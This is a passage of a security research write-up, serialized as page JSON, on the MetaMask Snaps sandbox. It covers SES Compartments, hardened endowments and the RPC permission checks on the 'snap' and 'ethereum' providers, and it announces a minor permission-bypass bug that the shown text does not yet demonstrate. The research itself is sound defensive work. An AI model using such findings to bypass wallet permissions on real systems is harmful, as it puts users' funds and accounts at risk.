_endowments,\n);\n",[38083],{"type":21,"tag":66,"props":38084,"children":38085},{"__ignoreMap":7},[38086,38136,38148,38159,38171,38183],{"type":21,"tag":85,"props":38087,"children":38088},{"class":87,"line":88},[38089,38093,38097,38101,38105,38110,38114,38119,38123,38127,38132],{"type":21,"tag":85,"props":38090,"children":38091},{"style":102},[38092],{"type":26,"value":10069},{"type":21,"tag":85,"props":38094,"children":38095},{"style":114},[38096],{"type":26,"value":9999},{"type":21,"tag":85,"props":38098,"children":38099},{"style":120},[38100],{"type":26,"value":38015},{"type":21,"tag":85,"props":38102,"children":38103},{"style":114},[38104],{"type":26,"value":256},{"type":21,"tag":85,"props":38106,"children":38107},{"style":120},[38108],{"type":26,"value":38109},"teardown",{"type":21,"tag":85,"props":38111,"children":38112},{"style":114},[38113],{"type":26,"value":15750},{"type":21,"tag":85,"props":38115,"children":38116},{"style":120},[38117],{"type":26,"value":38118},"endowmentTeardown",{"type":21,"tag":85,"props":38120,"children":38121},{"style":114},[38122],{"type":26,"value":36650},{"type":21,"tag":85,"props":38124,"children":38125},{"style":169},[38126],{"type":26,"value":741},{"type":21,"tag":85,"props":38128,"children":38129},{"style":1021},[38130],{"type":26,"value":38131}," createEndowments",{"type":21,"tag":85,"props":38133,"children":38134},{"style":114},[38135],{"type":26,"value":1029},{"type":21,"tag":85,"props":38137,"children":38138},{"class":87,"line":98},[38139,38144],{"type":21,"tag":85,"props":38140,"children":38141},{"style":120},[38142],{"type":26,"value":38143},"    snap",{"type":21,"tag":85,"props":38145,"children":38146},{"style":114},[38147],{"type":26,"value":182},{"type":21,"tag":85,"props":38149,"children":38150},{"class":87,"line":151},[38151,38155],{"type":21,"tag":85,"props":38152,"children":38153},{"style":120},[38154],{"type":26,"value":31929},{"type":21,"tag":85,"props":38156,"children":38157},{"style":114},[38158],{"type":26,"value":182},{"type":21,"tag":85,"props":38160,"children":38161},{"class":87,"line":160},[38162,38167],{"type":21,"tag":85,"props":38163,"children":38164},{"style":120},[38165],{"type":26,"value":38166},"    snapId",{"type":21,"tag":85,"props":38168,"children":38169},{"style":114},[38170],{"type":26,"value":182},{"type":21,"tag":85,"props":38172,"children":38173},{"class":87,"line":185},[38174,38179],{"type":21,"tag":85,"props":38175,"children":38176},{"style":120},[38177],{"type":26,"value":38178},"    _endowments",{"type":21,"tag":85,"props":38180,"children":38181},{"style":114},[38182],{"type":26,"value":182},{"type":21,"tag":85,"props":38184,"children":38185},{"class":87,"line":501},[38186],{"type":21,"tag":85,"props":38187,"children":38188},{"style":114},[38189],{"type":26,"value":777},{"type":21,"tag":22,"props":38191,"children":38192},{},[38193],{"type":26,"value":38194},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":21,"tag":22,"props":38196,"children":38197},{},[38198,38200,38206,38208,38214],{"type":26,"value":38199},"One clear example is the ",{"type":21,"tag":66,"props":38201,"children":38203},{"className":38202},[],[38204],{"type":26,"value":38205},"endowment:network-access",{"type":26,"value":38207}," permission, that adds the ",{"type":21,"tag":66,"props":38209,"children":38211},{"className":38210},[],[38212],{"type":26,"value":38213},"fetch()",{"type":26,"value":38215}," function to the endowments.",{"type":21,"tag":22,"props":38217,"children":38218},{},[38219,38221,38227],{"type":26,"value":38220},"All endowments are protected with the ",{"type":21,"tag":66,"props":38222,"children":38224},{"className":38223},[],[38225],{"type":26,"value":38226},"harden",{"type":26,"value":38228}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":21,"tag":841,"props":38230,"children":38231},{"start":98},[38232],{"type":21,"tag":845,"props":38233,"children":38234},{},[38235],{"type":21,"tag":873,"props":38236,"children":38237},{},[38238,38240],{"type":26,"value":38239},"Create the snap ",{"type":21,"tag":335,"props":38241,"children":38244},{"href":38242,"rel":38243},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[339],[38245],{"type":26,"value":37851},{"type":21,"tag":75,"props":38247,"children":38249},{"className":36061,"code":38248,"language":36063,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[38250],{"type":21,"tag":66,"props":38251,"children":38252},{"__ignoreMap":7},[38253,38281,38297,38314,38339],{"type":21,"tag":85,"props":38254,"children":38255},{"class":87,"line":88},[38256,38260,38265,38269,38273,38277],{"type":21,"tag":85,"props":38257,"children":38258},{"style":102},[38259],{"type":26,"value":10069},{"type":21,"tag":85,"props":38261,"children":38262},{"style":120},[38263],{"type":26,"value":38264}," compartment",{"type":21,"tag":85,"props":38266,"children":38267},{"style":169},[38268],{"type":26,"value":1941},{"type":21,"tag":85,"props":38270,"children":38271},{"style":102},[38272],{"type":26,"value":32378},{"type":21,"tag":85,"props":38274,"children":38275},{"style":1021},[38276],{"type":26,"value":37906},{"type":21,"tag":85,"props":38278,"children":38279},{"style":114},[38280],{"type":26,"value":15559},{"type":21,"tag":85,"props":38282,"children":38283},{"class":87,"line":98},[38284,38289,38293],{"type":21,"tag":85,"props":38285,"children":38286},{"style":169},[38287],{"type":26,"value":38288},"    ...",{"type":21,"tag":85,"props":38290,"children":38291},{"style":120},[38292],{"type":26,"value":38015},{"type":21,"tag":85,"props":38294,"children":38295},{"style":114},[38296],{"type":26,"value":182},{"type":21,"tag":85,"props":38298,"children":38299},{"class":87,"line":151},[38300,38305,38310],{"type":21,"tag":85,"props":38301,"children":38302},{"style":120},[38303],{"type":26,"value":38304},"    module:",{"type":21,"tag":85,"props":38306,"children":38307},{"style":120},[38308],{"type":26,"value":38309}," snapModule",{"type":21,"tag":85,"props":38311,"children":38312},{"style":114},[38313],{"type":26,"value":182},{"type":21,"tag":85,"props":38315,"children":38316},{"class":87,"line":160},[38317,38322,38326,38330,38335],{"type":21,"tag":85,"props":38318,"children":38319},{"style":120},[38320],{"type":26,"value":38321},"    exports:",{"type":21,"tag":85,"props":38323,"children":38324},{"style":120},[38325],{"type":26,"value":38309},{"type":21,"tag":85,"props":38327,"children":38328},{"style":114},[38329],{"type":26,"value":73},{"type":21,"tag":85,"props":38331,"children":38332},{"style":120},[38333],{"type":26,"value":38334},"exports",{"type":21,"tag":85,"props":38336,"children":38337},{"style":114},[38338],{"type":26,"value":182},{"type":21,"tag":85,"props":38340,"children":38341},{"class":87,"line":185},[38342],{"type":21,"tag":85,"props":38343,"children":38344},{"style":114},[38345],{"type":26,"value":35785},{"type":21,"tag":22,"props":38347,"children":38348},{},[38349,38351,38357,38358,38363,38365,38370],{"type":26,"value":38350},"Note: ",{"type":21,"tag":66,"props":38352,"children":38354},{"className":38353},[],[38355],{"type":26,"value":38356},"module",{"type":26,"value":11408},{"type":21,"tag":66,"props":38359,"children":38361},{"className":38360},[],[38362],{"type":26,"value":38334},{"type":26,"value":38364}," are passed as endowments, but without being ",{"type":21,"tag":39,"props":38366,"children":38367},{},[38368],{"type":26,"value":38369},"hardened",{"type":26,"value":38371},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":21,"tag":841,"props":38373,"children":38374},{"start":151},[38375],{"type":21,"tag":845,"props":38376,"children":38377},{},[38378],{"type":21,"tag":873,"props":38379,"children":38380},{},[38381,38383],{"type":26,"value":38382},"Evaluate the snap code inside the ",{"type":21,"tag":335,"props":38384,"children":38387},{"href":38385,"rel":38386},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[339],[38388],{"type":26,"value":37851},{"type":21,"tag":75,"props":38390,"children":38392},{"className":36061,"code":38391,"language":36063,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[38393],{"type":21,"tag":66,"props":38394,"children":38395},{"__ignoreMap":7},[38396,38437,38467,38504],{"type":21,"tag":85,"props":38397,"children":38398},{"class":87,"line":88},[38399,38403,38407,38411,38416,38420,38424,38429,38433],{"type":21,"tag":85,"props":38400,"children":38401},{"style":2885},[38402],{"type":26,"value":33362},{"type":21,"tag":85,"props":38404,"children":38405},{"style":102},[38406],{"type":26,"value":36164},{"type":21,"tag":85,"props":38408,"children":38409},{"style":114},[38410],{"type":26,"value":73},{"type":21,"tag":85,"props":38412,"children":38413},{"style":1021},[38414],{"type":26,"value":38415},"executeInSnapContext",{"type":21,"tag":85,"props":38417,"children":38418},{"style":114},[38419],{"type":26,"value":1439},{"type":21,"tag":85,"props":38421,"children":38422},{"style":120},[38423],{"type":26,"value":36468},{"type":21,"tag":85,"props":38425,"children":38426},{"style":114},[38427],{"type":26,"value":38428},", () ",{"type":21,"tag":85,"props":38430,"children":38431},{"style":102},[38432],{"type":26,"value":15240},{"type":21,"tag":85,"props":38434,"children":38435},{"style":114},[38436],{"type":26,"value":148},{"type":21,"tag":85,"props":38438,"children":38439},{"class":87,"line":98},[38440,38445,38449,38454,38458,38463],{"type":21,"tag":85,"props":38441,"children":38442},{"style":120},[38443],{"type":26,"value":38444},"    compartment",{"type":21,"tag":85,"props":38446,"children":38447},{"style":114},[38448],{"type":26,"value":73},{"type":21,"tag":85,"props":38450,"children":38451},{"style":1021},[38452],{"type":26,"value":38453},"evaluate",{"type":21,"tag":85,"props":38455,"children":38456},{"style":114},[38457],{"type":26,"value":1439},{"type":21,"tag":85,"props":38459,"children":38460},{"style":120},[38461],{"type":26,"value":38462},"sourceCode",{"type":21,"tag":85,"props":38464,"children":38465},{"style":114},[38466],{"type":26,"value":777},{"type":21,"tag":85,"props":38468,"children":38469},{"class":87,"line":151},[38470,38474,38478,38483,38487,38491,38495,38500],{"type":21,"tag":85,"props":38471,"children":38472},{"style":102},[38473],{"type":26,"value":36512},{"type":21,"tag":85,"props":38475,"children":38476},{"style":114},[38477],{"type":26,"value":73},{"type":21,"tag":85,"props":38479,"children":38480},{"style":1021},[38481],{"type":26,"value":38482},"registerSnapExports",{"type":21,"tag":85,"props":38484,"children":38485},{"style":114},[38486],{"type":26,"value":1439},{"type":21,"tag":85,"props":38488,"children":38489},{"style":120},[38490],{"type":26,"value":36468},{"type":21,"tag":85,"props":38492,"children":38493},{"style":114},[38494],{"type":26,"value":256},{"type":21,"tag":85,"props":38496,"children":38497},{"style":120},[38498],{"type":26,"value":38499},"snapModule",{"type":21,"tag":85,"props":38501,"children":38502},{"style":114},[38503],{"type":26,"value":777},{"type":21,"tag":85,"props":38505,"children":38506},{"class":87,"line":160},[38507],{"type":21,"tag":85,"props":38508,"children":38509},{"style":114},[38510],{"type":26,"value":35785},{"type":21,"tag":22,"props":38512,"children":38513},{},[38514,38516,38522,38523,38529,38530,38536],{"type":26,"value":38515},"According to the documentation, the snap must contain one of the following function exports: ",{"type":21,"tag":66,"props":38517,"children":38519},{"className":38518},[],[38520],{"type":26,"value":38521},"onRpcRequest",{"type":26,"value":256},{"type":21,"tag":66,"props":38524,"children":38526},{"className":38525},[],[38527],{"type":26,"value":38528},"onTransaction",{"type":26,"value":13551},{"type":21,"tag":66,"props":38531,"children":38533},{"className":38532},[],[38534],{"type":26,"value":38535},"onCronjob",{"type":26,"value":73},{"type":21,"tag":22,"props":38538,"children":38539},{},[38540,38542,38547],{"type":26,"value":38541},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":21,"tag":66,"props":38543,"children":38545},{"className":38544},[],[38546],{"type":26,"value":37865},{"type":26,"value":38548}," environment of that Compartment.",{"type":21,"tag":22,"props":38550,"children":38551},{},[38552],{"type":26,"value":38553},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":21,"tag":54,"props":38555,"children":38557},{"id":38556},"vulnerability-research",[38558],{"type":26,"value":38559},"Vulnerability research",{"type":21,"tag":10022,"props":38561,"children":38563},{"id":38562},"possible-attacks",[38564],{"type":26,"value":38565},"Possible attacks",{"type":21,"tag":22,"props":38567,"children":38568},{},[38569],{"type":26,"value":38570},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":21,"tag":17108,"props":38572,"children":38573},{},[38574,38579,38584,38589],{"type":21,"tag":845,"props":38575,"children":38576},{},[38577],{"type":26,"value":38578},"Broken SES Container isolation",{"type":21,"tag":845,"props":38580,"children":38581},{},[38582],{"type":26,"value":38583},"Insecure endowments in Containers",{"type":21,"tag":845,"props":38585,"children":38586},{},[38587],{"type":26,"value":38588},"Incorrect RPC permission checks",{"type":21,"tag":845,"props":38590,"children":38591},{},[38592],{"type":26,"value":38593},"Insecure snap installation/update",{"type":21,"tag":22,"props":38595,"children":38596},{},[38597],{"type":26,"value":38598},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":21,"tag":22,"props":38600,"children":38601},{},[38602],{"type":26,"value":38603},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":21,"tag":10022,"props":38605,"children":38607},{"id":38606},"rpc-interfaces-endowments",[38608],{"type":26,"value":38609},"RPC interfaces endowments",{"type":21,"tag":19318,"props":38611,"children":38613},{"id":38612},"providers-limitations",[38614],{"type":26,"value":38615},"Providers limitations",{"type":21,"tag":22,"props":38617,"children":38618},{},[38619,38621,38627,38628,38633,38635,38642],{"type":26,"value":38620},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":21,"tag":66,"props":38622,"children":38624},{"className":38623},[],[38625],{"type":26,"value":38626},"snap",{"type":26,"value":11408},{"type":21,"tag":66,"props":38629,"children":38631},{"className":38630},[],[38632],{"type":26,"value":31862},{"type":26,"value":38634}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":21,"tag":335,"props":38636,"children":38639},{"href":38637,"rel":38638},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[339],[38640],{"type":26,"value":38641},"methods",{"type":26,"value":172},{"type":21,"tag":75,"props":38644,"children":38646},{"className":36061,"code":38645,"language":36063,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[38647],{"type":21,"tag":66,"props":38648,"children":38649},{"__ignoreMap":7},[38650,38690,38698,38710,38780,38841,38853,38861,38872,38912,38942,38954,38979,38986,38994,39001,39039],{"type":21,"tag":85,"props":38651,"children":38652},{"class":87,"line":88},[38653,38658,38663,38668,38672,38677,38681,38686],{"type":21,"tag":85,"props":38654,"children":38655},{"style":2885},[38656],{"type":26,"value":38657},"export",{"type":21,"tag":85,"props":38659,"children":38660},{"style":102},[38661],{"type":26,"value":38662}," function",{"type":21,"tag":85,"props":38664,"children":38665},{"style":1021},[38666],{"type":26,"value":38667}," assertSnapOutboundRequest",{"type":21,"tag":85,"props":38669,"children":38670},{"style":114},[38671],{"type":26,"value":1439},{"type":21,"tag":85,"props":38673,"children":38674},{"style":120},[38675],{"type":26,"value":38676},"args",{"type":21,"tag":85,"props":38678,"children":38679},{"style":169},[38680],{"type":26,"value":172},{"type":21,"tag":85,"props":38682,"children":38683},{"style":108},[38684],{"type":26,"value":38685}," RequestArguments",{"type":21,"tag":85,"props":38687,"children":38688},{"style":114},[38689],{"type":26,"value":15222},{"type":21,"tag":85,"props":38691,"children":38692},{"class":87,"line":98},[38693],{"type":21,"tag":85,"props":38694,"children":38695},{"style":92},[38696],{"type":26,"value":38697},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":21,"tag":85,"props":38699,"children":38700},{"class":87,"line":151},[38701,38706],{"type":21,"tag":85,"props":38702,"children":38703},{"style":1021},[38704],{"type":26,"value":38705},"  assert",{"type":21,"tag":85,"props":38707,"children":38708},{"style":114},[38709],{"type":26,"value":1029},{"type":21,"tag":85,"props":38711,"children":38712},{"class":87,"line":160},[38713,38718,38722,38727,38731,38736,38740,38745,38749,38753,38757,38762,38766,38771,38775],{"type":21,"tag":85,"props":38714,"children":38715},{"style":108},[38716],{"type":26,"value":38717},"    String",{"type":21,"tag":85,"props":38719,"children":38720},{"style":114},[38721],{"type":26,"value":73},{"type":21,"tag":85,"props":38723,"children":38724},{"style":120},[38725],{"type":26,"value":38726},"prototype",{"type":21,"tag":85,"props":38728,"children":38729},{"style":114},[38730],{"type":26,"value":73},{"type":21,"tag":85,"props":38732,"children":38733},{"style":120},[38734],{"type":26,"value":38735},"startsWith",{"type":21,"tag":85,"props":38737,"children":38738},{"style":114},[38739],{"type":26,"value":73},{"type":21,"tag":85,"props":38741,"children":38742},{"style":1021},[38743],{"type":26,"value":38744},"call",{"type":21,"tag":85,"props":38746,"children":38747},{"style":114},[38748],{"type":26,"value":1439},{"type":21,"tag":85,"props":38750,"children":38751},{"style":120},[38752],{"type":26,"value":38676},{"type":21,"tag":85,"props":38754,"children":38755},{"style":114},[38756],{"type":26,"value":73},{"type":21,"tag":85,"props":38758,"children":38759},{"style":120},[38760],{"type":26,"value":38761},"method",{"type":21,"tag":85,"props":38763,"children":38764},{"style":114},[38765],{"type":26,"value":256},{"type":21,"tag":85,"props":38767,"children":38768},{"style":5026},[38769],{"type":26,"value":38770},"'wallet_'",{"type":21,"tag":85,"props":38772,"children":38773},{"style":114},[38774],{"type":26,"value":736},{"type":21,"tag":85,"props":38776,"children":38777},{"style":169},[38778],{"type":26,"value":38779},"||\n",{"type":21,"tag":85,"props":38781,"children":38782},{"class":87,"line":185},[38783,38788,38792,38796,38800,38804,38808,38812,38816,38820,38824,38828,38832,38837],{"type":21,"tag":85,"props":38784,"children":38785},{"style":108},[38786],{"type":26,"value":38787},"      String",{"type":21,"tag":85,"props":38789,"children":38790},{"style":114},[38791],{"type":26,"value":73},{"type":21,"tag":85,"props":38793,"children":38794},{"style":120},[38795],{"type":26,"value":38726},{"type":21,"tag":85,"props":38797,"children":38798},{"style":114},[38799],{"type":26,"value":73},{"type":21,"tag":85,"props":38801,"children":38802},{"style":120},[38803],{"type":26,"value":38735},{"type":21,"tag":85,"props":38805,"children":38806},{"style":114},[38807],{"type":26,"value":73},{"type":21,"tag":85,"props":38809,"children":38810},{"style":1021},[38811],{"type":26,"value":38744},{"type":21,"tag":85,"props":38813,"children":38814},{"style":114},[38815],{"type":26,"value":1439},{"type":21,"tag":85,"props":38817,"children":38818},{"style":120},[38819],{"type":26,"value":38676},{"type":21,"tag":85,"props":38821,"children":38822},{"style":114},[38823],{"type":26,"value":73},{"type":21,"tag":85,"props":38825,"children":38826},{"style":120},[38827],{"type":26,"value":38761},{"type":21,"tag":85,"props":38829,"children":38830},{"style":114},[38831],{"type":26,"value":256},{"type":21,"tag":85,"props":38833,"children":38834},{"style":5026},[38835],{"type":26,"value":38836},"'snap_'",{"type":21,"tag":85,"props":38838,"children":38839},{"style":114},[38840],{"type":26,"value":1074},{"type":21,"tag":85,"props":38842,"children":38843},{"class":87,"line":501},[38844,38849],{"type":21,"tag":85,"props":38845,"children":38846},{"style":5026},[38847],{"type":26,"value":38848},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":21,"tag":85,"props":38850,"children":38851},{"style":114},[38852],{"type":26,"value":182},{"type":21,"tag":85,"props":38854,"children":38855},{"class":87,"line":697},[38856],{"type":21,"tag":85,"props":38857,"children":38858},{"style":114},[38859],{"type":26,"value":38860},"  );\n",{"type":21,"tag":85,"props":38862,"children":38863},{"class":87,"line":706},[38864,38868],{"type":21,"tag":85,"props":38865,"children":38866},{"style":1021},[38867],{"type":26,"value":38705},{"type":21,"tag":85,"props":38869,"children":38870},{"style":114},[38871],{"type":26,"value":1029},{"type":21,"tag":85,"props":38873,"children":38874},{"class":87,"line":1100},[38875,38879,38884,38888,38892,38896,38900,38904,38908],{"type":21,"tag":85,"props":38876,"children":38877},{"style":169},[38878],{"type":26,"value":21398},{"type":21,"tag":85,"props":38880,"children":38881},{"style":120},[38882],{"type":26,"value":38883},"BLOCKED_RPC_METHODS",{"type":21,"tag":85,"props":38885,"children":38886},{"style":114},[38887],{"type":26,"value":73},{"type":21,"tag":85,"props":38889,"children":38890},{"style":1021},[38891],{"type":26,"value":35628},{"type":21,"tag":85,"props":38893,"children":38894},{"style":114},[38895],{"type":26,"value":1439},{"type":21,"tag":85,"props":38897,"children":38898},{"style":120},[38899],{"type":26,"value":38676},{"type":21,"tag":85,"props":38901,"children":38902},{"style":114},[38903],{"type":26,"value":73},{"type":21,"tag":85,"props":38905,"children":38906},{"style":120},[38907],{"type":26,"value":38761},{"type":21,"tag":85,"props":38909,"children":38910},{"style":114},[38911],{"type":26,"value":1074},{"type":21,"tag":85,"props":38913,"children":38914},{"class":87,"line":1339},[38915,38920,38924,38929,38933,38938],{"type":21,"tag":85,"props":38916,"children":38917},{"style":120},[38918],{"type":26,"value":38919},"    ethErrors",{"type":21,"tag":85,"props":38921,"children":38922},{"style":114},[38923],{"type":26,"value":73},{"type":21,"tag":85,"props":38925,"children":38926},{"style":120},[38927],{"type":26,"value":38928},"rpc",{"type":21,"tag":85,"props":38930,"children":38931},{"style":114},[38932],{"type":26,"value":73},{"type":21,"tag":85,"props":38934,"children":38935},{"style":1021},[38936],{"type":26,"value":38937},"methodNotFound",{"type":21,"tag":85,"props":38939,"children":38940},{"style":114},[38941],{"type":26,"value":15559},{"type":21,"tag":85,"props":38943,"children":38944},{"class":87,"line":1348},[38945,38950],{"type":21,"tag":85,"props":38946,"children":38947},{"style":120},[38948],{"type":26,"value":38949},"      data:",{"type":21,"tag":85,"props":38951,"children":38952},{"style":114},[38953],{"type":26,"value":148},{"type":21,"tag":85,"props":38955,"children":38956},{"class":87,"line":1386},[38957,38962,38967,38971,38975],{"type":21,"tag":85,"props":38958,"children":38959},{"style":120},[38960],{"type":26,"value":38961},"        method:",{"type":21,"tag":85,"props":38963,"children":38964},{"style":120},[38965],{"type":26,"value":38966}," args",{"type":21,"tag":85,"props":38968,"children":38969},{"style":114},[38970],{"type":26,"value":73},{"type":21,"tag":85,"props":38972,"children":38973},{"style":120},[38974],{"type":26,"value":38761},{"type":21,"tag":85,"props":38976,"children":38977},{"style":114},[38978],{"type":26,"value":182},{"type":21,"tag":85,"props":38980,"children":38981},{"class":87,"line":1394},[38982],{"type":21,"tag":85,"props":38983,"children":38984},{"style":114},[38985],{"type":26,"value":37647},{"type":21,"tag":85,"props":38987,"children":38988},{"class":87,"line":1402},[38989],{"type":21,"tag":85,"props":38990,"children":38991},{"style":114},[38992],{"type":26,"value":38993},"    }),\n",{"type":21,"tag":85,"props":38995,"children":38996},{"class":87,"line":3145},[38997],{"type":21,"tag":85,"props":38998,"children":38999},{"style":114},[39000],{"type":26,"value":38860},{"type":21,"tag":85,"props":39002,"children":39003},{"class":87,"line":3246},[39004,39009,39013,39017,39021,39026,39030,39035],{"type":21,"tag":85,"props":39005,"children":39006},{"style":1021},[39007],{"type":26,"value":39008},"  assertStruct",{"type":21,"tag":85,"props":39010,"children":39011},{"style":114},[39012],{"type":26,"value":1439},{"type":21,"tag":85,"props":39014,"children":39015},{"style":120},[39016],{"type":26,"value":38676},{"type":21,"tag":85,"props":39018,"children":39019},{"style":114},[39020],{"type":26,"value":256},{"type":21,"tag":85,"props":39022,"children":39023},{"style":120},[39024],{"type":26,"value":39025},"JsonStruct",{"type":21,"tag":85,"props":39027,"children":39028},{"style":114},[39029],{"type":26,"value":256},{"type":21,"tag":85,"props":39031,"children":39032},{"style":5026},[39033],{"type":26,"value":39034},"'Provided value is not JSON-RPC compatible'",{"type":21,"tag":85,"props":39036,"children":39037},{"style":114},[39038],{"type":26,"value":777},{"type":21,"tag":85,"props":39040,"children":39041},{"class":87,"line":3255},[39042],{"type":21,"tag":85,"props":39043,"children":39044},{"style":114},[39045],{"type":26,"value":2671},{"type":21,"tag":22,"props":39047,"children":39048},{},[39049,39051,39056,39058,39064,39065,39071],{"type":26,"value":39050},"This function is called by the ",{"type":21,"tag":66,"props":39052,"children":39054},{"className":39053},[],[39055],{"type":26,"value":38626},{"type":26,"value":39057}," RPC provider, so it can only send methods starting with ",{"type":21,"tag":66,"props":39059,"children":39061},{"className":39060},[],[39062],{"type":26,"value":39063},"wallet_",{"type":26,"value":13551},{"type":21,"tag":66,"props":39066,"children":39068},{"className":39067},[],[39069],{"type":26,"value":39070},"snap_",{"type":26,"value":39072},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":21,"tag":22,"props":39074,"children":39075},{},[39076,39078,39083,39085,39090,39092,39098],{"type":26,"value":39077},"On the other hand, the ",{"type":21,"tag":66,"props":39079,"children":39081},{"className":39080},[],[39082],{"type":26,"value":31862},{"type":26,"value":39084}," provider only blocks methods starting with ",{"type":21,"tag":66,"props":39086,"children":39088},{"className":39087},[],[39089],{"type":26,"value":39070},{"type":26,"value":39091}," and the blocked methods. However, it requires the ",{"type":21,"tag":66,"props":39093,"children":39095},{"className":39094},[],[39096],{"type":26,"value":39097},"endowment:ethereum-provider",{"type":26,"value":39099}," permission in the snap manifest.",{"type":21,"tag":19318,"props":39101,"children":39103},{"id":39102},"execution-flow",[39104],{"type":26,"value":39105},"Execution flow",{"type":21,"tag":22,"props":39107,"children":39108},{},[39109,39111,39116,39117,39122,39124,39129,39130,39136],{"type":26,"value":39110},"Both providers (",{"type":21,"tag":66,"props":39112,"children":39114},{"className":39113},[],[39115],{"type":26,"value":38626},{"type":26,"value":11408},{"type":21,"tag":66,"props":39118,"children":39120},{"className":39119},[],[39121],{"type":26,"value":31862},{"type":26,"value":39123},") are built outside the SES container with a ",{"type":21,"tag":66,"props":39125,"children":39127},{"className":39126},[],[39128],{"type":26,"value":31938},{"type":26,"value":790},{"type":21,"tag":335,"props":39131,"children":39134},{"href":39132,"rel":39133},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[339],[39135],{"type":26,"value":31822},{"type":26,"value":172},{"type":21,"tag":75,"props":39138,"children":39140},{"className":36378,"code":39139,"language":36380,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[39141],{"type":21,"tag":66,"props":39142,"children":39143},{"__ignoreMap":7},[39144,39191,39216,39249,39284,39296,39316,39354,39374,39381,39398,39431,39438],{"type":21,"tag":85,"props":39145,"children":39146},{"class":87,"line":88},[39147,39151,39155,39159,39163,39167,39171,39175,39179,39183,39187],{"type":21,"tag":85,"props":39148,"children":39149},{"style":102},[39150],{"type":26,"value":36636},{"type":21,"tag":85,"props":39152,"children":39153},{"style":1021},[39154],{"type":26,"value":31827},{"type":21,"tag":85,"props":39156,"children":39157},{"style":169},[39158],{"type":26,"value":1941},{"type":21,"tag":85,"props":39160,"children":39161},{"style":102},[39162],{"type":26,"value":36813},{"type":21,"tag":85,"props":39164,"children":39165},{"style":114},[39166],{"type":26,"value":717},{"type":21,"tag":85,"props":39168,"children":39169},{"style":120},[39170],{"type":26,"value":38676},{"type":21,"tag":85,"props":39172,"children":39173},{"style":169},[39174],{"type":26,"value":172},{"type":21,"tag":85,"props":39176,"children":39177},{"style":108},[39178],{"type":26,"value":38685},{"type":21,"tag":85,"props":39180,"children":39181},{"style":114},[39182],{"type":26,"value":736},{"type":21,"tag":85,"props":39184,"children":39185},{"style":102},[39186],{"type":26,"value":15240},{"type":21,"tag":85,"props":39188,"children":39189},{"style":114},[39190],{"type":26,"value":148},{"type":21,"tag":85,"props":39192,"children":39193},{"class":87,"line":98},[39194,39199,39203,39207,39211],{"type":21,"tag":85,"props":39195,"children":39196},{"style":1021},[39197],{"type":26,"value":39198},"      assertSnapOutboundRequest",{"type":21,"tag":85,"props":39200,"children":39201},{"style":114},[39202],{"type":26,"value":1439},{"type":21,"tag":85,"props":39204,"children":39205},{"style":120},[39206],{"type":26,"value":38676},{"type":21,"tag":85,"props":39208,"children":39209},{"style":114},[39210],{"type":26,"value":28795},{"type":21,"tag":85,"props":39212,"children":39213},{"style":92},[39214],{"type":26,"value":39215},"// or assertEthereumOutboundRequest(args);\n",{"type":21,"tag":85,"props":39217,"children":39218},{"class":87,"line":151},[39219,39223,39228,39232,39237,39241,39245],{"type":21,"tag":85,"props":39220,"children":39221},{"style":102},[39222],{"type":26,"value":31992},{"type":21,"tag":85,"props":39224,"children":39225},{"style":120},[39226],{"type":26,"value":39227}," sanitizedArgs",{"type":21,"tag":85,"props":39229,"children":39230},{"style":169},[39231],{"type":26,"value":1941},{"type":21,"tag":85,"props":39233,"children":39234},{"style":1021},[39235],{"type":26,"value":39236}," getSafeJson",{"type":21,"tag":85,"props":39238,"children":39239},{"style":114},[39240],{"type":26,"value":1439},{"type":21,"tag":85,"props":39242,"children":39243},{"style":120},[39244],{"type":26,"value":38676},{"type":21,"tag":85,"props":39246,"children":39247},{"style":114},[39248],{"type":26,"value":777},{"type":21,"tag":85,"props":39250,"children":39251},{"class":87,"line":160},[39252,39257,39261,39266,39270,39274,39279],{"type":21,"tag":85,"props":39253,"children":39254},{"style":102},[39255],{"type":26,"value":39256},"      